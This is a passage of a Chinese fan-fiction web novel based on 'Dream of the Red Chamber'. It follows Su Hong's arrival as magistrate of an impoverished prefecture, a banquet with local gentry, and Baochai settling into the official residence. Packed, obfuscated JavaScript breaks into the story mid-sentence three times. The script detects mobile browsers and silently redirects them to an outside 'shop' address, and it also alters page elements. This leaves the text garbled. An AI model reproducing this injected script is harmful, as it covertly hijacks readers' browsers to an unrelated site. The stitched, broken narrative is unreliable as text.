;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宝钗默默点头，心里也松了口气。她虽与妙玉无甚交集，却也知道她孤身一人，又随身携带重宝。若在外行走，难免会与外男打交道，届时少不了会被权贵盯上。倒是在家庙中，稍微好些。 她不见宝玉，不由问道：“素日宝兄弟都在脂粉堆儿里混，我虽说是外亲，也不必避讳我。今儿怎么不见他和袭人，难不成是病了？” 黛玉叹道：“前儿不知怎么，他的通灵宝玉丢了，大病一场。幸而凤姐姐捡到了，如今舅母还不许他出门。袭人在跟前服侍，也怕再出意外。如今家里这样，舅舅生气得很，见他这样也不好说什么。” 宝钗想到宝玉的性子，也不由一叹。只是因时间紧张，她未能多留，便匆匆将自己即将与苏鸿一同到平安州去的事情说了，又笑道：“等我们到了平安州就给你们通信，日后真是见一面少一面了。” 众姊妹闻言，均有些依依不舍。还要说些什么，就见薛太太和王夫人说完话，来叫宝钗一同离开。 一月后，苏鸿与宝钗便抵达平安州。 63.到任 尽管在来之前，就知道平安州并不平安，还被当地官宦乡绅剥削了数十年之久，但苏鸿和宝钗也没料到会是这样的景象。 他们一路乘船走水路，远远就见这边的码头人影稀疏，不少船只并不在此地停留。举目看去，灰扑扑一片，连街边贩卖货物及食物的商贩也不见几家。码头合该是船舟人流往来如织，此地却一片荒凉。 苏鸿此次赴任，不光是有宝钗相伴，还特意致信金陵老家，将自己的族叔苏珑及族弟苏浩一并请来平安州。目下，地方官赴任，往往会自带一套班底，例如师爷、胥吏乃至于侍卫等，以防到了到外地为官被人夺权。 苏鸿外出做州官，平安州又局势复杂，自然更得好生安排。苏珑与他父亲年纪相当，惯常处理族务、人情往来，又有秀才功名。最重要的是，他与苏鸿同出一族，由他暂且充任师爷最好不过。 至于苏浩，他年仅十八，已经亦有了秀才功名。如今叫他过来，一来是给苏鸿打下手，是个助力。二来，也叫他提前历练，与苏鸿一同学着如何做官。加上随身侍奉的护卫、壮仆及聘请的镖师等，他们一行便足足有三十多人。 且宝钗担忧平安州不易采买，又要在此地待上三年左右，便将他们惯用之物一并带上。因而他们一行人过来可谓声势浩大，数十条船将狭窄的码头挤得满满当当。待他们的船只靠岸后，才有几个面黄肌瘦的力工畏畏缩缩围过来询问。 风信及几个壮仆率先上了岸，见了这些人心里暗暗惊讶，却也未曾表露。见力工不多，便也不好再挑剔，扬声叫他们把各自的车都拉来。又到一旁挑挑拣拣，雇了两顶看上去稍微整洁些的小轿和几匹马，又打听了县衙的位置，方转身回来请苏鸿等人下船。 苏鸿轻轻扶着宝钗下船，莺儿等早和宝钗一同戴上帷帽，几个婆子围随着宝钗和几个丫鬟先上了小轿。宝钗在轿内坐定，有些紧张地攥了攥手中的帕子，见苏鸿骑着马走在一旁才稍觉心安。 苏鸿低声安抚几句，见伙计们将箱笼搬得差不多，才驾着马顺道往前走。风信等人要围随，苏鸿便笑道：“不必，你们引路就是。” 风信笑道：“方才打听了县衙的位置，此地的百姓一听便是新来的知州到了，恐怕消息已经传过去了。说不定咱们到了城门口，县衙的人就过来迎了。” 苏鸿一边打量着平安州的模样，一边说道：“若果真来了，你带着一队镖师先送你们奶奶到官邸后院去。放机灵些，别让人或者什么东西冲撞了。” 他来平安州前，薛蟠便叮嘱过他在平安州的所见所闻。寻常百姓没什么好说的，除了都城和金陵外，倒也没怎么见过百姓生活和平安乐。唯有一事，平安州界有强盗土匪，颇为凶悍。 苏鸿深知，细论起来，民间严禁铁器流通。这些强盗既然手持武器、极为凶悍，其中定然有诈。不是官匪勾结，便是这“匪”是官兵或是衙役假扮，为了捞油水赚外快。若是前一种还好说，若是后一种，他少不得再重新花银子招一批人。 如今他初来乍到，又是从翰林院派下来的，稍微明白些官场门道的都知道他是得罪了人，自然不会很将他放在眼里。但他们比起自己更不占优势，想来不敢明面上给他下马威。就怕他们把主意打到内宅上，试探他的态度。 风信心中有些疑虑，心说县衙中哪里还会有不长眼的人。便是想试探，总得等摸透了他们的底子才好动手。但想到平安州的状况，他也连忙点头，不一会儿就悄悄吩咐下去，叫大家专心当差。 不过片刻，苏鸿便远远瞧见城门。他定定看了几眼，见果然有一伙儿衣帽周全的人骑马等在那里，心中一动，悄声叮嘱宝钗当心。宝钗在轿内轻声答应，又透过轿帘看向外头，一时有些失神。 她从来没见过，外面原来是这样的世界——不同于京城和金陵的繁华富贵和人声鼎沸，这里太过安静，行人稀少。没有入目可及的雕梁画栋、锦绣琉璃，四下均是一片灰黄，墙壁也一层层剥落，及腰处是一道深深的水痕。 沿街路过的百姓不知他们的身份，却早就面带惊慌战战兢兢跪下。头发稀疏、面黄肌瘦，一眼扫过去便能看出衣物过于肥大，想也是不曾吃饱穿暖。她不知道别的地方的百姓是如何生活，但却很明白，平安州的百姓受权贵乡绅之苦太甚。 她第一次意识到，原来朱门酒肉臭，路有冻死骨的形容竟是如此贴切。 莺儿也怔怔看向外头，说道：“姑娘，这儿的人都不像京城的人，看上去很奇怪。有的人连骨头都突出来了，瞧着怪吓人的。” 平安州与京城可谓一个天上一个地下，这里百姓的生活，好像也与京城大不相同。莺儿虽说是奴婢，却也是薛家的家生子，从小也是宝贝似得养着，稍大些就到了宝钗身边与她作伴。 如今猛然见了这样的场景，不免叫她有些心焦。 不待她们细想，轿子便停了下来。在城门前迎候的一干人骑马过来与他们会和，为首的须发皆黑、留着长髯，笑着打马上前道：“在下平安州州丞，敢问阁下可是苏知州？” 他不着痕迹打量一圈，想着打听到的苏鸿年纪、样貌，将目光定在苏鸿身上。虽早知他是个青年才俊，但眼睁睁看着二十上下的人都做了自己的顶头上司，宋仁心中唏嘘不已。 虽说是被贬出京，但尚有亲友故交在京中，与他们这些在地方上打滚的官员可不一样。说不定过几年就被调走了，状元出身，又出身富贵，哪里能吃得下这平安州的苦。 苏鸿见他眉宇间不见刻薄，心中暗道，自己出发得着急，没打探州丞的来路。如今见他倒是尚可，不似轻薄苛刻的人，只不知内里如何。他并未表露，只淡淡点头道：“正是。” 宋仁及身后一干人便连忙下马要拜，苏鸿便道：“你们不必多礼，待本官至县衙，取出公文核对身份后，再拜见不迟。” 宋仁等便笑着奉承道：“多谢大人，大人说得是。下官在前引路，还请大人随我等前去。如今平安州无人主政，我等日夜悬心，唯有见了大人才稍稍心安。眼下接到大人，衙门的主簿、典史及六房都候着，也可请大人阅看。” 说着又瞧向他身后的几辆车马和一行人高马大的镖师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏鸿初来乍到，未曾摸清这些人的底细，便也不急着给什么下马威。他将一干吏员的名姓、样貌等默默记下。又大致翻了下这些乡绅的名帖，大多都是家中有些田地积蓄、亦或出了一两个读书人的耕读之家，倒也不算十分难缠。 他对照着方才的吏员名册，倒是发现里有有几个姓氏频繁出现。他随口问道：“周阳、王康、赵襄，你们就几个的名字倒新，是何时到任的？” 都说阎王好见小鬼难搪，于衙门中亦是如此。今上惩处的平安州的知州、州丞、主簿等有官阶的人不假，当地的大乡绅此前也被牵连治罪不假，但衙门中真正办事的是吏。 这些吏员虽无官品，却大多是本地的乡绅出身，又相互联姻、扶持。若不能收服他们，自己在平安州只怕也会受此掣肘。 他们三个意识到什么，连忙上前答话：“太爷，我们是九月初三到任。” 苏鸿一笑，看了眼众乡绅所在的位置，不出意外地发现他们和其中几人长相有些相似。他未曾多言，叫他们站回去后便说道：“本官初来，衙门诸事暂按旧例，待宋州丞与本官交接后，若有变动，另行处置。” 众人连忙应下，宋云便上前道：“大人，阴阳生已看了入文庙谒圣、各庙行香、阅城、布告的日子，请大人批示。”说着便呈上一本红皮小册，凑上前请苏鸿去看。 苏鸿倒不曾感到疲惫，又不好拖延，便都点了最近的日子。宋云连忙应下，仍将册子交阴阳生。见时辰差不多，苏鸿便命众人先散了，待他与宋云交接完后再正式上衙理事。 64.接风 苏鸿与宋云等交接政务时，宝钗等女眷也带着几车的行李箱笼到后院安置。宝钗带着帷帽下了轿，便被婆子们围随至正房休息落脚。户房的人远远候着，见宝钗离开才上前与风信交代后院布局。 莺儿的妈如今随宝钗一同过来，帮着宝钗管理内宅。她年龄不小，自然不忌讳这些，因而住了脚在风信身旁听着。风信便笑道：“赵妈妈，我还想着是该请太太的示下，您就过来了。” 说着便对户房的人说道：“这是我们太太的陪房，管家的赵妈妈。我单管太爷的事，后院的事还得赵妈妈知道。”又借着凑上前的动作，笑嘻嘻塞了一把钱过去，“请您老人家打酒吃，也是辛苦一趟。” 户房的人悄悄掂了掂分量，估摸着不少，面上的笑容也真心实意起来。便笑道：“窦兄弟客气，都是在太爷麾下办事，都是应该的。这官邸的修缮、添补等事，一应都是户房在管着，日后太爷和太太有什么需要，只管吩咐我们就是。” 他带着风信和赵妈妈等人一边走一边指点，笑道：“这内宅门往里走，都是太爷的私人住所，日后我们不便常来此处。这大小共有三十来间屋子，俱都打扫干净，只是日常所用之物，还得您这边采买。” 内宅门将后宅与衙门办公之地隔开，东、西厢房及正房以穿廊连接，后面又是一排后罩房。再向后，则是后花园，当中有一片假山池塘，铺着蜿蜒曲折的石子路用以游玩观景。 风信打量了几眼后花园，见里头倒种着不少花草果木，心中暗道此地风光不比京城，但胜在地方宽敞。就是县衙里终究不比自己家里，不好随意施为，凡事还得要户房去做。 他看过大致的地方后，便吩咐下人们将行李箱笼收到仓库中。又将他们日用之物先收拾出来，待分过房后再叫下人们去铺设。所幸这县衙中别的不提，房屋还是尽够的，他们也能住得开。 户房的人交接完，又亲手将钥匙给了风信，才带着人离开。风信便与赵妈妈一同给宝钗回话，请示如何安置房屋。宝钗虽说并未亲眼去看，然而房屋本有规制，她听风信说了形貌便知晓了大概。 她心中暗奇，原以为衙门的人会将她们撂在后院不管不问，叫她们吃个闷亏。没想到这户房的人还挺上道，领着风信和赵妈妈把何处可去、何处不可去以及后院形貌都介绍了一遍。 她低头想了片刻便一一安排下去，要赶在晚饭前将屋子都铺设好。元春也以宝钗表姐妹的名义跟来，见她竟不曾跟苏鸿商量，便说道：“这虽不是大事，终究涉及到妹夫的叔父和兄弟，是不是该问一声？” 元春虽说心系家人，然而她的身份实在敏感，出入贾家容易引起怀疑。倒不如跟着苏家悄悄离开京城，天高皇帝远，再过个一两年，就彻底没人记得她的身份了。因而假托姓王，跟着宝钗一路到了平安州。 所幸薛家跟来的老仆唯有赵妈妈一人，虽是王家的旧仆出身，却是一家子随薛姨妈到了薛家，对王家并不熟悉。宝钗认她是王家的姑娘，赵妈妈反倒误以为是被打了之后休弃回家的，十分怜惜她的遭遇。 她心中感激表妹和表妹夫，也担忧宝钗不注意分寸，与妹夫离心。世间多少恩爱夫妻，都是在这些寻常小事上拌了嘴，又有旁人挑拨，这才渐行渐远。 宝钗听元春如此说，知道她的好意，不由笑道：“姐姐说得是。只是安和是个急性子，又身体康健，想必已经在前头交接，准备走马上任了。便是不急着交接，衙门里怕是也安排了接风宴，回来怕是晚了。我现在安排了，他们晚上回来也好落脚。” 元春听她说得有理，点头一笑。 待房屋收拾好，又将她们日常所用之物都摆设齐全，元春看着宝钗的卧房不由笑道：“你也是性子古怪，我还没怎么见过哪位姑娘夫人的卧房像你这样素净的。妹夫也不见怪，还由着你这样装扮。” 她入目所及，宝钗卧房并没有什么玩器，连帐子都是天青色的罗帐。一旁的桌案上，除了茶奁茶杯，也只摆着一个烟青色的汝窑花瓶，里头插着几株白牡丹。她又笑道：“这样的季节还有牡丹？” 宝钗道：“在家是都是鲜花，如今自然是纱堆成的假花罢了。说来，到了外头才知道，天下竟还有平安州这样的地方。虽说头里管平安州的官吏被查处，但这边的百姓看上去生活不见好转。安和在这里少说三年，也不知能否有些成效。” 那些官吏在此处上下其手，赚地盆满钵满。若这些银子能留在平安州库房内，倒也能补偿平安州百姓，渐次用之于民。只可惜都被上头收走了，这里也彻底穷得精光。安和再厉害，也是巧妇难为无米之炊，没了银子也不好施为。 苏鸿此时，简单与宋云交接后，宋云便笑道：“天色已晚，我在东街的迎宾楼略备薄酒为苏大人接风，不知大人肯赏光否？” 这也是惯例，新官上任，当地的官员及乡绅总要为其接风洗尘。只是接风洗尘虽是惯例，其他的却未必，多有借此送钱送人，讨好主官的。苏鸿有心探探他们的底子，便笑道：“宋大人一番好意，本官怎会推却。” 说着便看向一旁坐着的苏珑与苏浩二人，介绍道：“这是我族中长辈及兄弟，皆有功名在身，日后要一同留在平安州随我理政。”又对他们二人说道：“宋大人盛情，日后咱们也少不了打交道，便一同过去。” 宋云这才得知苏珑与苏浩的身份，连忙厮见过。地方主官都是异籍，往往会自己带着一套班底赴任，宋云也与其他知县共事过，自然清楚。只是没想到苏鸿所带的人是族人，想必会更加信任此二人。 他心里琢磨着，面上却滴水不漏，对苏珑与苏浩十分客气。 几人说说笑笑便一同出了门，早有人备了轿子候在门外。苏鸿便对风信说道：“让人给你们太太报信，今儿宋州丞接风，难却盛意，我晚些再回去。” 风信一边答应着一边去了，宋云便笑道：“千里迢迢，尊夫人肯跟大人一并前来，如此情深意重真是叫我好生羡慕。若大人不嫌弃，回头叫拙荆过来陪伴尊夫人，也叫她长些见识。” 苏鸿笑着答应，便各自上了轿离去。他透过轿帘看向外头，见平安州最为繁华的东街似乎也只是平常模样。虽有行人，也只是拎着日用吃食等，脚步匆匆，不见有闲情逸致买些玩物。 轿子径直入了后门，掌柜的及衙门中的主簿、典史、正副巡检等并几个乡绅已经等在此处，见他们过来连忙上前见礼。苏鸿扫了一眼，笑着寒暄几句，便被引到楼上包间。众人分了主宾坐下，掌柜的便悄然退出去，连忙起菜。 苏鸿坐在主位，环顾四周，见衙门里有品级的官员都在此处，还有几个分别是本地的乡绅。在这样的场合中能上桌，想必这几个乡绅便是目前平安州家境最为殷实的，这顿饭想来也是他们出的钱。 酒过三巡，宋云等人也算是打开了话匣子，拉拉杂杂说着平安州的事。宋云又笑道：“下官到平安州也才半月有余，对平安州说不上有多熟悉，也是多亏了本地几位老兄，才没出乱子。” 说着便引见几位乡绅，周、王、赵几家连忙凑上来敬酒。先是连说宋云太过客气，又奉承道：“平安州上下全都仰赖几位大人操持，我们不过是借着地利，为大人们做些小添小补的事，大人们很不必放在心上。” 苏鸿淡淡一笑，举杯饮酒，示意他们坐下说话即可。众人见他态度平和，白面书生一般斯文，并不似前一任官老爷那般刻薄，心里不由蠢蠢欲动。 这位知州是进士出身，如今落难，却仍有族人支持，想也不过是一时困顿。此时若能讨好一二，日后的好处定然少不了。再不然，也可叫自家读书的子弟向他学习请教。若有了功名，他们也可更加从容。 想到此处，王乡绅因膝下次子正在念书，已有童生的功名，不由更是迫切。只是眼下人多眼杂，不是送礼的好时机，便只好按捺住起伏的心绪。苏鸿对他们并不熟悉，也只是听他们本地乡绅说些平安州的风光及能人异士，并不多言。 众人各怀心思，面上仍旧觥筹交错，言笑晏晏。只是酒局过半，周乡绅便笑道：“众位大人，雅坐无趣，须得有歌舞助兴才好。小人预先安排了歌舞，不如叫她们进来。” 他是个粗人，是不懂什么行令作诗的文雅之事的。但男人哪有不好色的，安排上美人、歌舞，这位知州自然不会拒绝。唯一要担心的是，知州从前是京官，见识过的美人想必更多，怕是入不了他的法眼。 苏鸿看了眼周乡绅，认出这是典史出身的周家。他不欲刚来就与这些人起冲突，便道：“叫她们在屏风后弹唱就罢，不必出来跳舞。” 周乡绅闻言只当是他不好意思，多喝了几口酒，正是酒兴上头之时。他又劝道：“不过是歌舞而已，大人何必多心。今日大人不曾喝多少酒水，又不肯听歌舞，是嫌我们接风过于简陋，还是怕回去被夫人挠脸不成？” 苏鸿瞥了眼，失笑道：“多喝两口酒、欺压夫人就能称为大丈夫不成？周老先生醉了，还是坐下醒醒酒吧。歌舞也不必，明日要入文庙谒圣，岂能冲撞圣人。” 几个乡绅闻言，见他虽是笑着，眼底却泛着凉意，知道他是来真的。见周乡绅还要继续说什么，连忙一把将他拉下来，灌了一杯白水叫他醒神。若是寻常时候，他们才不管这个姓周的死活，只是今日头一次见面，若把知州得罪死了，那可是大家一起吃挂落。 周典史也没料到父亲会来这一出，在一旁如坐针毡。又因苏鸿未曾明说，他也不好开口给父亲开脱，便只在一旁沉默。苏鸿见周阳坐着不吭声，故意问道：“说来，周典史和周老先生同出一姓，瞧着也很是相像，可有什么渊源没有？” 周阳忙道：“正是家父。家父见平安州无人主政，好容易盼来苏大人，过于高兴以至于失态，还望大人海涵。” 苏鸿笑道：“无妨，酒后失态也是常有的事，算不得什么。只是看你父子二人都生得壮硕，想必也有一身好武艺了？” 他倒不至于因为周乡绅说了几句话就厌恶他，毕竟这周乡绅一看便是习武出身，爱说粗话浑话也是常事，他若计较这些未免有失身份。只是这样轻浮且冲动的人，倒是不适合深交。 地方乡绅，大多是官员致仕或辞官后回乡，亦或是读书人家，皆是家境殷实、又德高望重。只是世道一乱，又有人胡乱奉承，只要家境殷实些、有田地买卖的就能被称为乡绅。 放到平安州，想来是从前的大乡绅被查办后，这些小乡绅才抖擞起来，花银子送自家子弟进县衙做事。只是不知这周家是做什么的，竟能趁着平安州动荡之际把周阳运作成典史。 虽是不入流的官职，却也得地方保举或吏部栓选，称得上一句朝廷命官。他原以为周家最具实力，不想周乡绅看上去却是平平无奇。若说是金钱开道，周家看上去也不像是最有钱的人家。 周阳闻言脸上羞臊，他们哪里有什么好武艺，全靠他们家是屠户，能吃上肉滋养身体才长得这样高壮。靠着杀猪卖肉才积攒了些家底，又搭上平安州大乡绅风闻朝廷消息后逃亡的东风，低价收拢了田地和一些产业。 虽说惹得人眼红，但他们族里兄弟多，又是祖传的打猎杀猪的手艺，生得魁梧，也无人敢来抢夺。平安州的事彻底爆发后，一些大乡绅被又被查办，他们小小的周家才算上得了台面。 等宋州丞被派来此处，便送上一所三进宅子并三百两银子。因他先前就在刑房做书吏，又生得高壮，宋州丞就保举他做了典史。谁知保本一上，因此地官吏均有缺乏，其他地 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王乡绅闻言，连忙道：“平安州苦匪患久矣！大人果有此意，为我等乡里着想，真叫我等无以为报。小人愿与诸位同乡筹献纹银二百两，稍稍补济衙门花费。” 赵乡绅暗骂他是个老滑头，见他张口就是二百两，虽觉肉疼，却也知道这银子不得不出。他也连忙笑道：“王老兄所言甚是，小人也很是赞同。小人不才，家中有祖传的木匠手艺，大人一声令下，我等皆愿竭尽全力。” 苏鸿有些惊异，看向赵乡绅笑道：“原来赵老先生家有这样的手艺，如此更妙。”又看向宋云，笑道：“本官来之前风闻平安州人才凋零，如今看来也不尽然，倒是本官狭隘了。” 木匠虽说不起眼，但制造弓箭、长矛都不在话下。赵乡绅敢夸下海口，手艺应当不差。给衙门做事，他家子弟也在工房当差，价格方面更是好说。 他今日特意去查看了衙门的库房，果然如他预想般空荡荡的，账面上只剩两千两。眼下已是十一月，下半年的税收都已征收完毕，税银早已押送至府，剩下的这两千两，自然便是明年六月前县衙所能动用的所有银钱。 这些银子看上去不少，但要涵盖衙门所有人的俸禄银、日用开支以及抚恤老人、孤儿等，只是勉强够用。若想铺路修桥、缉拿强盗，光是砖石、人力的耗费动辄上百两，还不提功成之后的赏钱。 想出政绩便少不了银钱，但地方上要将大部分赋税上缴，只留一些固定支出。因而如今在地方为官者，要么自掏腰包，要么便是想法子让当地富商、乡绅等捐赠。若是实在没银子，也只能维持旧例。 想到此处，苏鸿的目光在众人身上过了一圈，又静静收回目光，低头饮了一杯。眼下倒也不急着查办，过几日查清楚这些人的底细再说。 宴毕，众人送了苏鸿等人先行上轿后便各自散去。苏鸿因喝了两口酒，不觉燥热，扯了扯领子。苏浩也扯开领子扇风，笑道：“虽说是寒冬腊月，但喝了热酒仍是出了一身汗。我瞧他们这样配合，倒也不像预想中那样艰难。” 苏珑瞧见儿子这样天真，捋着胡子笑而不语。苏鸿失笑道：“想从旁人口袋里掏银子可不简单，让人做白工更是痴人说梦。说得都比唱得好，倒也未必真能如他们所言。且瞧着吧，这事还有得磨。” 宴席上敲定的事，一句酒后失言就能盖过去。若他们不曾犯事，自己也不可能追到他们家里逼迫他们捐银。胥吏大多出自乡绅，没有真凭实据，他们疯了才会配合自己去搞垮自家。便是有真凭实据，他们失手损毁也不过一句话的事。 也只有拉一派打一派，仔细甄别派系，才能收服一部分。或是以利相诱，让他们相信跟着自己有银钱、有前途，他们才能心甘情愿掏出银子。这世道真心为民的官吏与乡绅少之又少，实在是可遇不可求。 苏珑亦点头道：“你哥哥说得很是，正是如此。何况吩咐衙役抓捕强盗，本就是难办的差事。他们豁出命来办差，成与不成，赏钱及抚恤银绝不能少。不然这些人虽不敢顶撞上官，定要从百姓那边找补回来方能称心如意。” 苏浩听他们二人所言，口中称是，心里不由烦恼起一县之地该如何管辖。他叹道：“原以为哥哥在京城为官难，我看到地方上更难。” 苏鸿摇摇头，想了半日才笑道：“倒也未必如此。若是随波逐流，到哪里都简单。也只有真心想做些什么，才会觉得难上加难。今日天色完了，房舍应当都安排齐全，晚上好生歇息。明日入文庙谒圣后，还要会一会平安州的儒生。” 不过片刻，轿子落下，风信便道：“太爷，已经到了。” 众人下了大轿，早有两个小厮候在这里，预备引他们回房。苏鸿一眼看过去，便知正房在哪里，一边走着，一边问道：“日用应当是自己供给，外头的粮价和菜价如何？” 风信说道：“打听了几家，比京城便宜些。寒冬腊月的，百姓都预备年事，据说米价和菜价、柴火都比一月前贵了两文。因着时间紧凑，倒也没有细打听。我看街上的铺子都没什么人来往，见到的一些人，看着便比京城的百姓苦楚。” 说到此处，他不由一叹。虽说天下乌鸦一般黑，哪里都有贪官污吏，但天子脚下到底稍好些。这平安州算是被上一任知州祸害了，竟是喂不饱的杂种，吃多少都嫌不够。 苏鸿微微点头，又叮嘱他这几日暗暗打听民间动向及平安州内有名的乡绅都是何出身门第。风信一一应下，见苏鸿别无要事才转身离开。 宝钗正和莺儿等丫鬟点着灯做女工，见苏鸿回来，连忙放下针线筐起身。她笑着迎上去，将外头的大毛衣服脱下，说道：“可回来了，瞧你一身酒气。快喝些醒酒汤，仔细明早起来头疼。” 65.粮库 苏鸿脱了外衣，在炉子旁烤了烤手才搂住宝钗，笑着问道：“不必忙，散席的时候喝了一盏醒酒汤，现在已经好多了。这样冷的天，虽然升着炉子，也觉得骨头缝里透着冷意，怎么还做针黹。” 说着握住她的手，见她手心发热才放心。 宝钗见莺儿放下针线走了，心中也微微放松。她依在苏鸿怀中，轻声说道：“闲来无事，心里烦闷，和莺儿坐一会儿倒是好多了。我本想着到这里后，多少置办些产业，也能贴补贴补。只是没想到平安州会是这般景象，倒叫我不知该如何了。” 单看墙壁上深深的水痕，便知这里定是连年水患。这样的地方，百姓们想必没什么心情给家中添置物件儿。又经历一番搜刮，手上也没几个闲钱。这样一想，此地百姓也当真可怜，朝不保夕，成日担惊受怕。 苏鸿叹道：“不光是天灾，还有人祸。临行前，大哥说平安州大道极为宽敞，从前岳父行商时就常走这条路。只可惜引来了商队，也引来了强盗劫匪。他们说劫匪都藏到山里，也不知真假。有强盗在中间绊着，连商队的过路费也收不得。” 看上去，至少现在县衙的衙役没本事再去外头装神弄鬼，就是不知卫所那边是什么情况。他是文官，论理也管不到武将头上。但若果真是卫所的人在作怪，也由不得他们这样。 苏鸿见宝钗亦然面带愁色，方宽慰道：“如今也不必想得太远，走一步看一步便罢了。这里积弊甚多，非你我一日之功便可调理得当。” 只短短一日，他心中便压了几件大事。百姓过冬、水患、强盗，而想要解决这些，无非就是钱粮充足。他的须弥宝戒中倒是还有不少积攒的粮食，但这些再多，也填不饱全平安州百姓的肚子。 更别提他一年也才四十多两的俸银，再加上养廉银也不到二百两。但全衙门上下，除有官阶的官员外，其余胥吏、衙役、力士的俸禄都是从他这里出。他做着官，领到的银钱不光不够，还得自己贴补，不免也觉得束手束脚。 眼见事情越想越复杂，苏鸿便也不再多想，先顾着最要紧的事，其余的一项项慢慢来便是。他想到什么，方对宝钗道：“是该先在附近买套宅子，供咱们自己用。日后妈过来，跟我们一起住官邸也好，想图清净自己住也罢，总有个方便起居的地方。” 宝钗笑道：“妈若过来，蝌兄弟和琴妹妹自然也要过来，自然是有自家的宅子更方便些。还有大姐姐，她虽不说，我知道她总觉得打扰我们，心里不自在。到时候姐姐陪着妈，也能做个伴。” 苏鸿默默点头，他对元春并不熟悉，自然也不太在意她的动向。如今离了京城，连薛家的旧仆都不认得她，便更没有暴露的风险了。也亏得他当初提心吊胆许久，竟是无人发现元妃棺椁中的尸身不对。 可见这世道也当真古怪，底下人欺上瞒下，竟也无人发现。太阳底下没有新鲜事，日后理政，胥吏和衙役也不见得会对自己说些实话。 因第二日还有要事，二人也不敢误了休息的时辰，谈论片刻便洗漱了歇下。第二日一早，苏鸿便早早起床梳洗。见宝钗也要起来，便轻声哄她睡下，轻手轻脚出了房门。 今日知州谒圣，县学中人人皆知。上至教谕下至生员，早在听说新来的知州是进士及第、一甲登科时便期待不已。虽说不知道他是怎么得罪了人，堂堂状元被贬到他们这种偏僻小县，但才学却是实打实的。 若知州能指点几句，说不得便胜他们苦读十年之功。何况知州亦有教化百姓之责，他治下的读书人自然越多越好，想必不会吝啬指点。 苏鸿倒不知已经有人惦记上他，换了官府后便与宋云等人一同前往文庙祭拜。率上下官员及众学子大礼参拜祭孔后，便命教谕宣讲圣谕，随后才命众人落座。 苏鸿看着眼前的九个生员，倾身问道：“县学中仅有此九位生员不成？” 教谕闻言心中暗道，他们这样远离繁华地带、又饱受恶官侵扰的小县，能培养出这九个秀才已经不错了。也就是知州出身江南，文风极盛，走两步便是文人墨客，才会觉得这里生员太少。 只是他不怒反喜，恭恭敬敬道：“说来惭愧，我等虽竭力培养，却因资质受限，难免耽误人才。大人学优则仕，我等万不能及。县学上下，唯有仰赖大人恩德，指点教诲而已。” 苏鸿未置可否，见这九人大多都三十有余，仅有一人看上去年纪稍小。他笑道：“除却天资聪颖，要于学问上深耕细研，终究是以勤为上。本朝学子，要先立德行，次及才干。尔等日后应以忠贞为立身之本，躬行勤学，也好早日报效朝廷。” 众人一同应诺，苏鸿方叮嘱教谕：“今日还要各庙行香，本官不好贻误吉时。你将县学中训导并生员名姓、籍贯及所治经书一并写明，以‘为官之道’做一篇文章，收齐后交给苏师爷。” 教谕及众生员闻言，便知苏鸿有意试一试他们的水平，当即喜不自禁。他们倒也都预备了些银两，原是想着稍后悄悄塞给太爷身边的长随和师爷，请他们提上两句，没想到得来全不费工夫。 苏鸿来平安州，本就缺乏人手。虽有苏珑和苏浩相帮，终究管不住偌大的县衙。他也并非不食人间烟火的性子，深知想管好县衙，吏房和户房都要换上自己的人才好。而治理本地，总也要用些当地人才好吩咐他们办差。 因而至少也要拉拢一派，给些利益，才不至于让自己举步维艰。 苏鸿看了眼宋云，这位州丞先他半月到任，还不知安插了什么人在县衙中。至少那几个跟他到任时间密切关联的书吏以及周典史，都曾经向宋云示好过。 宋云极为敏锐，发现苏鸿的视线后有些疑问地回望过去，心里却是一凛。他从没有小看过苏鸿年纪轻、缺乏在地方为官的经验。再如何，苏鸿也是千万人中厮杀出来夺得状元之位的人，未来的成就比他只高不低。 只是他倒是没想到，苏鸿这样快就开始培植自己的势力。他到底是一甲登科，单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16518685|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单这个名头拿出去便足够那些读书人涌上来示好。而读书人背后，又都是大大小小的乡绅。 他微微垂眸，笑奉承道：“到底是大人心系生员，着意教化百姓，愿意指点教诲，我等远不及大人胸襟。” 苏鸿一边起身，笑着示意宋云一同出来，嘴上又谦虚几句。早有礼房的人引着他们上轿，又连忙摆起仪仗，至本地各庙宇进香。一直忙到午时，他们才趁空回衙门用膳。 宋云见苏鸿仍是精力旺盛，不像需要休息的模样。他便强忍着困意问道：“苏大人，银库、粮库及料库的账册都已备好，待大人一一查点。” 苏鸿昨日只是大致了解三库的存量，尚未来得及细查。听宋云此言，本要起身去库房查验，但又见宋云及众衙役似是有些困倦，便说道：“把账册放下，待本官细看。你们先回去休息吧，不必跟本官一起熬着。” 宋云没想到苏鸿会这样说，当即精神一震，困意悄然散去，想着留下与苏鸿拉近关系表忠心。只是临近开口，他也有些踟蹰。昨日虽说与苏鸿相处的时间不短，苏鸿的情绪却并无太大的起伏波动，叫他也看不明白苏鸿的想法。 苏鸿抬头看宋云仍坐在原地，便笑道：“宋大人，你我同为朝廷命官，不必如此客气。本官初来乍到，须得仔细核实三库中的存储，宋大人只管自去午睡便是。”说着又示意门前候着的衙役们自便。 宋云见苏鸿并没有摆架子，心中暗道，他们虽说只差一级，但官大一级压死人不是空话。自己再是佐贰官，统管全平安州的也唯有知州。不知道多少知县，都想着法子将佐官架空，自己大权独揽。 他从前在别的县里便是如此，领着县丞的俸银，却被远远打发到乡里，美名其曰亲身教化百姓。偏偏还没处说理，便是告到知府面前，知府也只会恼怒知县没有管好手下的人。 